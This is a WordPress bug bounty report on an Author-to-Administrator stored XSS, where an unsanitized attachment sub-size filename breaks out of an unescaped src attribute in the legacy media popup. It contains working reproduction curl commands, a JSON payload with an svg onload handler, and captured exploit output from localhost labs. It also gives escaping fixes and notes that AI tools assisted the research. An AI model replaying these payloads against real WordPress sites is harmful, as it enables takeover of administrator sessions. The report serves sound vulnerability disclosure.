WordPress · Report #3931771
Author → stored XSS in wp-admin: unescaped sub-size filename from attachment metadata breaks out of the `src` attribute in `get_media_item()`
How it was found
Description:
finalize_item() stores the attacker-supplied sub_sizes[].file string verbatim into
_wp_attachment_metadata['sizes'][<name>]['file'] — no sanitize_file_name(), no pattern, no
sanitize_callback.
image_get_intermediate_size() string-concatenates that raw value into the image URL, and
get_media_item() echoes the resulting URL into a single-quoted src attribute with no escaping
whatsoever. A filename containing ' therefore closes the attribute and the <img> element and
injects arbitrary markup into an administrator's wp-admin page.
get_media_items() renders every attachment in the library, so a single poisoned upload fires for
every administrator who opens that screen — no targeting needed.
Root cause with real file:line and verbatim code
WRITE — unsanitized
wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:2920-2926 (trunk;
Gutenberg equivalent at gutenberg/lib/media/class-gutenberg-rest-attachments-controller.php:838-845):
$metadata['sizes'] = $metadata['sizes'] ?? array();
$metadata['sizes'][ $image_size ] = array(
'width' => $sub_size['width'] ?? 0,
'height' => $sub_size['height'] ?? 0,
'file' => $sub_size['file'] ?? '',
'mime-type' => $sub_size['mime_type'] ?? '',
'filesize' => $sub_size['filesize'] ?? 0,
);
The schema for sub_sizes[].file is only array( 'type' => 'string' ).
wp_update_attachment_metadata() stores it straight into post meta; no register_meta() sanitize
callback and no core filter touches it.
Permission gate — edit_media_item_permissions_check() = current_user_can( 'upload_files' ) +
update_item_permissions_check() (edit_post on the attachment). An Author satisfies both on its
own upload.
PROPAGATION — raw concatenation into a URL
wp-includes/media.php:854-858 (image_get_intermediate_size()), released 7.0.2:
// Include the full filesystem path of the intermediate file.
if ( empty( $data['path'] ) && ! empty( $data['file'] ) && ! empty( $imagedata['file'] ) ) {
$file_url = wp_get_attachment_url( $post_id );
$data['path'] = path_join( dirname( $imagedata['file'] ), $data['file'] );
$data['url'] = path_join( dirname( $file_url ), $data['file'] );
}
image_downsize() → wp_get_attachment_image_src() return that string untouched.
SINK — no escaping at all
wp-admin/includes/media.php:1602-1610 and :1716 (released 7.0.2; trunk :1717):
$thumb_url = false;
$attachment_id = (int) $attachment_id;
if ( $attachment_id ) {
$thumb_url = wp_get_attachment_image_src( $attachment_id, 'thumbnail', true );
if ( $thumb_url ) {
$thumb_url = $thumb_url[0];
}
}
<p><a href='$attachment_url' target='_blank'><img class='thumbnail' src='$thumb_url' alt='' /></a></p>
No esc_url(), no esc_attr(). Compare :3179, :3229 in the same file, which at least pass
$thumb_url[0] through set_url_scheme().
REACHABLE PAGE
get_media_item() is called by get_media_items(), rendered by media_upload_library_form() for
every attachment in the library, served by GET /wp-admin/media-upload.php?tab=library, gated
only by current_user_can( 'upload_files' ) (wp-admin/media-upload.php:19) and with no nonce.
Scope note verified in the lab: the modern wp-admin/upload.php grid is not affected (the value
is HTML-escaped there), and neither is post.php?post=<id>&action=edit. Only the legacy popup path
is exploitable — I checked each of them explicitly rather than assuming.
Steps To Reproduce:
Two independent labs; identical steps.
- Lab A —
cp -a wordpress-develop/src(7.1-beta3-62828-src), DBtrunk357,php -S 127.0.0.1:8357, base URLhttp://localhost:8357, no plugins active. - Lab B — clean WordPress 7.0.2 + Gutenberg 23.6.0 active, DB
media356,php -S 127.0.0.1:8356, base URLhttp://localhost:8356.
Users admin (Administrator) and author1 (Author), separate cookie jars.
B=http://localhost:8357
# [0] the Author's own wp_rest nonce, read out of the Author's own dashboard.
# (Application passwords are refused over plain HTTP on this lab, so the runs use the
# ordinary login cookie + nonce -- exactly what the block editor sends.)
N=$(curl -s -b author.jar "$B/wp-admin/index.php" \
| grep -oE 'createNonceMiddleware\( *"[a-f0-9]+"' | head -1 | grep -oE '[a-f0-9]{10}')
# [1] Author uploads a real JPEG (cookie + X-WP-Nonce, exactly what the editor uses)
curl -b author.jar -H "X-WP-Nonce: $N" \
-H "Content-Disposition: attachment; filename=txss.jpg" -H "Content-Type: image/jpeg" \
--data-binary @zap.jpg -X POST "$B/?rest_route=/wp/v2/media" # 201, id=8
# [2] Author poisons the thumbnail sub-size filename
# payload: a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='
curl -b author.jar -H "X-WP-Nonce: $N" -X POST -H "Content-Type: application/json" \
--data-binary @xss.json "$B/?rest_route=/wp/v2/media/8/finalize" # 200
# [3] Administrator (separate session) opens the legacy media popup
curl -b admin.jar "$B/wp-admin/media-upload.php?tab=library" # 200
xss.json:
{"sub_sizes":[{"image_size":"thumbnail",
"file":"a.jpg' /><svg onload='document.title=\"XSS-EXECUTED-\"+document.domain'></svg><b x='",
"width":150,"height":150,"mime_type":"image/jpeg","filesize":1}]}
Proof (real quoted output)
Stored verbatim and propagated into the URL (WP 7.0.2 + Gutenberg 23.6.0)
upload HTTP 201
XID=11
payload: a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='
finalize HTTP 200
stored=a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='
src=http://localhost:8356/wp-content/uploads/2026/07/a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='
Injected DOM in the Administrator's HTTP response
GET /wp-admin/media-upload.php?tab=library, HTTP 200, admin cookie jar — copied verbatim from
the response body (note the neighbouring, unpoisoned attachments render normally):
class='thumbnail' src='http://localhost:8356/wp-content/uploads/2026/07/a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='' alt='' /></a></p>
class='thumbnail' src='http://localhost:8356/wp-content/uploads/2026/07/adminimg-150x150.jpg' alt='' /></a></p>
class='thumbnail' src='http://localhost:8356/wp-content/uploads/2026/07/neg-150x150.jpg' alt='' /></a></p>
A complete attribute break-out plus an injected element carrying an event handler.
Execution confirmed in a real browser, on the real admin URL, in the Administrator's session
Headless Chromium 145 (--headless=new), driven over CDP, with the Administrator's session
cookies injected via Network.setCookie, navigated to
http://localhost:8356/wp-admin/media-upload.php?tab=library:
TITLE: "XSS-EXECUTED-localhost"
SVGCOUNT: 1
HREF: "http://localhost:8356/wp-admin/media-upload.php?tab=library"
BODYLEN: 41558
document.title was rewritten by the injected onload handler, in the wp-admin origin, in an
authenticated Administrator session. This is real execution on the genuine page — not a rendered
fragment.
Reproduced on WordPress Core trunk with NO plugins (port 8357)
$ wp eval 'echo get_post_type_object("attachment")->rest_controller_class; echo "\nversion=".$GLOBALS["wp_version"];'
WP_REST_Attachments_Controller
version=7.1-beta3-62828-src
upload HTTP 201
XID=8
finalize HTTP 200
stored=a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='
admin popup HTTP 200
class='thumbnail' src='http://localhost:8357/wp-content/uploads/2026/07/a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='' alt='' /></a></p>
Headless Chromium against the trunk lab, Administrator cookies:
TITLE: "XSS-EXECUTED-localhost"
SVGCOUNT: 1
HREF: "http://localhost:8357/wp-admin/media-upload.php?tab=library"
BODYLEN: 23626
Negative controls (executed)
--- contributor -> finalize on author's attachment ---
{"code":"rest_cannot_edit_image","message":"Sorry, you are not allowed to upload media on this site.","data":{"status":403}}
HTTP 403
--- author -> finalize on ADMIN's attachment ---
{"code":"rest_cannot_edit","message":"Sorry, you are not allowed to edit this post.","data":{"status":403}}
HTTP 403
--- author unfiltered_html? ---
author1 unfiltered_html=false
Screens I checked that are NOT affected (so triage does not have to)
upload.php HTTP 200 -> escaped/absent
upload.php?mode=list HTTP 200 -> value present but HTML-escaped:
...uploads/2026/07/a.jpg' /><svg onload='document.title="XSS-EXECUTED-...
post.php?post=11&action=edit HTTP 200 -> escaped/absent
Only media-upload.php?tab=library (and the other get_media_items() callers,
media_upload_gallery_form() / media_upload_type_form()) render the raw value.
Re-executed on a newer trunk revision (7.1-beta3-62852)
The trunk lab auto-updated itself through wp-cron from 7.1-beta3-62828-src to 7.1-beta3-62852
while it was running. Rather than pin the report to a revision the lab no longer has, I re-ran the whole
chain on the newer one with the xss.json printed above:
$ wp eval 'echo $GLOBALS["wp_version"]."\n";'
7.1-beta3-62852
finalize HTTP 200
stored=a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='
admin popup HTTP 200
class='thumbnail' src='http://localhost:8357/wp-content/uploads/2026/07/a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='' alt='' /></a></p>
TITLE: "XSS-EXECUTED-localhost"
SVGCOUNT: 1
HREF: "http://localhost:8357/wp-admin/media-upload.php?tab=library"
Every line number cited in this report was re-derived against 62852 and is unchanged: the sink is
wp-admin/includes/media.php:1717 on trunk (:1716 in released 7.0.2 — the one-line offset is between
the two products, not between the two trunk revisions), the write is
class-wp-rest-attachments-controller.php:2920-2926 with the file key at :2923, and
finalize_item() starts at :2828.
Attacker privilege
Author — upload_files + edit_post on its own attachment. Verified in the lab:
author1 unfiltered_html=false
author1 upload_files=true
contrib1 upload_files=false
The Author has no unfiltered_html on a single site, so this is explicitly not the excluded
"administrator/editor may post arbitrary JS" or "self-XSS requiring unfiltered_html" case.
Victim: any user with upload_files who opens the legacy media popup — in practice an
Administrator. Confirmed: the payload executed in an authenticated Administrator session.
User interaction: Required. The Administrator must load /wp-admin/media-upload.php?tab=library —
a plain GET with no nonce, gated only by current_user_can( 'upload_files' ). It is reachable
from the legacy "Add Media" iframe flow (including with the in-scope Classic Editor plugin) and,
because it is a nonce-less GET, from a lure link or an iframe pointed at the admin's own site.
Affected versions verified
| Stack | Affected | Verified how |
|---|---|---|
WordPress Core trunk, no plugins — 7.1-beta3-62828-src and 7.1-beta3-62852 | YES | Payload stored + break-out in the admin response + execution in headless Chromium, port 8357, on both revisions |
| WordPress 7.0.2 + Gutenberg 23.6.0 (released) | YES | Same, port 8356 |
| WordPress 7.0.2 without Gutenberg | sink present, not reachable at Author level | no finalize route registered |
Honest limits
I would rather state these than have you find them.
- The post-exploitation step was not executed. I demonstrated arbitrary script execution in the
wp-adminorigin inside an authenticated Administrator session (document.titlerewritten by the injectedonload, quoted above). I did not go on to create an administrator or install a plugin from the payload; that is the standard, well-understood consequence of script execution in that origin, argued rather than demonstrated. - Only the legacy popup renders the raw value. The modern
upload.phpmedia grid,upload.php?mode=listandpost.php?post=<id>&action=editall escape it — I checked each explicitly and the results are quoted above rather than assumed. So the impact requires the Administrator to openmedia-upload.php?tab=library(or anotherget_media_items()caller). It is a nonce-lessGETgated only byupload_files, and it is the screen the Classic Editor's "Add Media" flow uses, but it is not a screen every administrator opens every day. This is why the vector isUI:R. - The attacker must own the attachment.
edit_media_item_permissions_check()is a real check and it works — the negative controls above show a Contributor refused (403 rest_cannot_edit_image) and an Author refused against the Administrator's attachment (403 rest_cannot_edit). No IDOR is claimed; the whole chain runs through an attachment the Author uploaded. S:Cis a judgement call. I claim it because the payload crosses from an Author's own content into the Administrator's authenticatedwp-adminsession — a different security authority. If you preferS:U, the vectorAV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:Ncomputes to 7.3, still well above the program's 4.0 floor, and nothing in the report depends on which of the two you pick.- On core trunk the endpoint is gated by
is_ssl() || 'localhost' === $host || …; my trunk lab is plain HTTP onHost: localhost:8357, i.e. the'localhost' === $hostarm. I have not demonstrated it on a non-localhostplain-HTTP trunk install and I do not claim it works there — the claim is that it is on by default for every HTTPS site. The released Gutenberg plugin has no such gate at all. - The
<svg onload=…>payload is what I tested; I did not enumerate which other tags survive at that point in the markup, because one is enough to prove the attribute break-out.
Exclusions considered
- "Users with administrator or editor privileges can post arbitrary JavaScript." This is the
exclusion this report must clear, and it clears it. The attacker is an Author, and the role is
evidenced in the proof output rather than asserted:
author1 upload_files=true,author1 unfiltered_html=false,contrib1 upload_files=false. An Author on a single site holds nounfiltered_html, cannot publish raw HTML through any normal path, and the sink here is reached purely through an attachment-metadata field. The victim is the Administrator, so this is exactly the less-privileged → higher-privileged crossing the program pays for, and the opposite of the excluded case. - "Self-XSS (requires
unfiltered_html)." Does not apply — see the capability dump above; the payload also fires in a different user's session (the Administrator's), which is quoted from a real browser run, not from the attacker's own page. - "Open API endpoints serving public data (including usernames and user IDs)." Does not apply. The
write endpoint is authenticated and gated (
upload_files+edit_post, both enforced — see the negative controls), it returns no site data, and the rendering sink is an authenticatedwp-adminscreen, not a public read route. - "Text injection." Does not apply. What is injected is not text in a page but a complete
attribute and element break-out followed by script execution, measured with
document.titlein a real headless browser in thewp-adminorigin. - "Denial of service" / "scanner output" — none claimed; every line quoted is hand-driven output from a local install.
Relationship to my other report
media-finalize-arbitrary-file-deletion.md uses the same write primitive (finalize_item() storing
sub_sizes[].file verbatim) but is a different vulnerability with a different sink and a different fix:
there the value flows into wp_delete_attachment_files() and the fix is in wp-includes/post.php. The
sink in this report is a plain output-escaping bug in wp-admin/includes/media.php:1716 that
pre-dates the new endpoint and should be fixed independently of it — which is why the two are filed
separately rather than as one report with two impacts. Please triage them together if that is easier.
Recommendations
Two independent defects; both should be fixed.
-
Escape the output —
wp-admin/includes/media.php:1716(trunk:1717):<p><a href='<?php echo esc_url( $attachment_url ); ?>' target='_blank'><img class='thumbnail' src='<?php echo esc_url( $thumb_url ); ?>' alt='' /></a></p>This escaping bug pre-dates the new endpoint and should be fixed independently of it.
-
Reject non-basename filenames at the write — in
wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:2828-2933andgutenberg/lib/media/class-gutenberg-rest-attachments-controller.php:749-845, require everysub_sizes[].file/original_imageto satisfy$v === sanitize_file_name( wp_basename( $v ) ), and add that as avalidate_callbackon the schema properties. Also add theimage_sizeenumvalidate_callbackthatsideloadalready has, so arbitrary size keys cannot be created. -
Consider hardening
image_get_intermediate_size()(wp-includes/media.php:857) towp_basename()$data['file']before joining it into a URL, so stale poisoned metadata cannot produce a broken-out URL after the fix.
AI tooling disclosure
Per the program's guidelines and the WordPress AI Guidelines:
AI assistance: Yes — substantial. Tool(s): Claude (Anthropic), used through the Claude Code agentic harness. Used for: source review and candidate-vulnerability search; building and running the local test harnesses; and drafting this report — the prose here is largely AI-authored and subsequently reviewed and corrected by me. Verification: every technical claim was verified by executing it against a local installation. Every quoted output is real observed output, not model narration; claims that did not survive that verification were removed before submission. No production host was contacted. Responsibility: I have reviewed the report in full and take responsibility for its content.
Environment detail for re-running: two private, throwaway installs — a copy of wordpress-develop
trunk on php -S 127.0.0.1:8357 (7.1-beta3-62828-src, later 7.1-beta3-62852) and released
WordPress 7.0.2 with the released Gutenberg 23.6.0 plugin on php -S 127.0.0.1:8356. Every cited
file:line was opened and read in the source shipped on those installs. The payload was stored over
the REST API, the injected markup was captured from a genuine Administrator HTTP response, and
execution was confirmed in headless Chromium (fresh --user-data-dir per run) on the real wp-admin
URL with the Administrator's cookies injected before navigation. Negative controls and non-affected
screens were checked explicitly. No production WordPress.org / WordCamp.org host or any third-party
system was contacted at any point.
Prior art / duplicate check
Verdict: known sink class, novel and again-exploitable reachability — no matching public or disclosed report for the finalize path. Searched: HackerOne disclosed reports for attachment-filename XSS, WPScan, Patchstack, and the WordPress 7.0.3 fix list.
The output sink class is old: HackerOne #139245 ("WordPress core stored XSS via attachment file name") documents unescaped attachment filenames rendered by get_media_item() / get_media_items() and class-wp-media-list-table.php, historically created through XML-RPC wp.newPost() and mitigated by sanitize_file_name() on the upload path.
This report is a distinct instance:
- the new REST
finalize_item()write primitive storessub_sizes[].fileverbatim, with nosanitize_file_name()— so the historical sanitize-on-upload mitigation is simply not on this path; - the stored value then breaks out of the still-unescaped single-quoted
srcattribute atwp-admin/includes/media.php:1716in released 7.0.2 — that output was never escaped; - it is not among the WordPress 7.0.3 (August 2026) fixes.
I found no public report of the finalize -> get_media_item() path.
- HackerOne #139245 (prior art, same sink class, different upload vector): https://hackerone.com/reports/139245
- WordPress 7.0.3 fix list (this bug absent): https://patchstack.com/articles/wordpress-7-0-3-released-12-vulnerabilities-found-and-fixed/
HackerOne hacktivity cannot be enumerated without authentication, so an undisclosed duplicate cannot be ruled out with certainty.
Impact
An Author with no unfiltered_html capability stores JavaScript that executes in an
Administrator's browser in the wp-admin origin the moment the admin opens the legacy media
popup. Because media_upload_library_form() lists the entire library, one poisoned attachment hits
every administrator who ever opens that screen. The screen is a nonce-less GET, so it can also be
delivered by a lure link or an iframe.
From the wp-admin origin the payload can read admin nonces and silently create a new administrator
(user-new.php), install a plugin, or edit theme files → full site compromise. This is cross-privilege
stored XSS, Author → Administrator, which is exactly the class the program pays for.